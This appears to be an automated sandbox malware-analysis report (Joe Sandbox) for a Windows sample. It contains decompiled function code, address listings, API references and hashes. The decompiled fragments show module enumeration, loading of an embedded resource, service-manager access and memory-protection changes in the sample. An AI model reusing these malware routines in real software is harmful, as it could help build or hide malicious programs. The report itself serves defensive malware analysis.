									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

W, xrefs: 004020E6
{, xrefs: 00401B4B
{, xrefs: 0040211D
), xrefs: 0040202E
[, xrefs: 00401B37
V, xrefs: 00401E19
', xrefs: 00401AF6
', xrefs: 00402006
[, xrefs: 00402047
E, xrefs: 00401E0F
{, xrefs: 0040205B
4, xrefs: 00401B64
*, xrefs: 00401A1F
., xrefs: 00401B0A
o, xrefs: 00402159
W, xrefs: 00401B23
_._, xrefs: 00402257
!, xrefs: 00401B1E
U, xrefs: 004020F5
!, xrefs: 0040201A
", xrefs: 00401B0F
x, xrefs: 00401B78
4, xrefs: 00402136
{, xrefs: 00401E3C
x, xrefs: 00402088
o, xrefs: 00402097
%, xrefs: 004020FA
v, xrefs: 0040206A
h, xrefs: 00401A6F
PPBs, xrefs: 00402183
___, xrefs: 0040227D
6, xrefs: 004020C5
8, xrefs: 00401BA9
0, xrefs: 00401BBD
x, xrefs: 0040214A
D, xrefs: 00401DFB
v, xrefs: 0040212C
4, xrefs: 00402074
x, xrefs: 00401E69
5, xrefs: 00402109
:, xrefs: 00401B28
V, xrefs: 00402038
v, xrefs: 00401E4B
o, xrefs: 00401B8D
*, xrefs: 004020E1
v, xrefs: 00401B5A
W, xrefs: 00401B14
!, xrefs: 004020CF
W, xrefs: 00402033
., xrefs: 0040201F

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$PPBs$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-533690119
Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 025299E8 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 02529AC2

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 45cca6a36ef9b97f301771ee34271135dfe44208d93eb123eb90b8dcd8f091b1
Instruction ID: 37ba06966945ec5e3685f56b97be62777c9c9745de30580449de677e8675eb89
Opcode Fuzzy Hash: 45cca6a36ef9b97f301771ee34271135dfe44208d93eb123eb90b8dcd8f091b1
Instruction Fuzzy Hash: 433143B1D002688FDB10CFA9C885BDEBBF5BB49304F248529E819AB380D7749849CF95

Uniqueness

Uniqueness Score: -1.00%

Function 02529920 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 025299A5

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5f6705c7a8f91029b5458aa03f54e3f2e631e78ea98113007d43d0449632b31e
Instruction ID: 3670b54679fe86fe8b7bab13c4677faad45416d09aa4fa53f5d841fe6e94732b
Opcode Fuzzy Hash: 5f6705c7a8f91029b5458aa03f54e3f2e631e78ea98113007d43d0449632b31e
Instruction Fuzzy Hash: 5B2104B5D002199FCB10CF9AD984ADEFBF4FB89324F14815AD808BB384D7759944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02529180 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 025291F4

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7952df642a019b444138781fad298f5d42bf5244a41a65e788cc324fffcda221
Instruction ID: 6847af994db5253456302bb6286e35550648d3560bb6d68bc93a0fd76e516bfe
Opcode Fuzzy Hash: 7952df642a019b444138781fad298f5d42bf5244a41a65e788cc324fffcda221
Instruction Fuzzy Hash: DC11F4B1D002599BDB10DFAAC984AEFFBF4FF58314F50842AD419A7240C7799944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02529350 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 025293B2

Memory Dump Source

Source File: 00000002.00000002.293097174.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2520000_aPsf.jbxd

Similarity

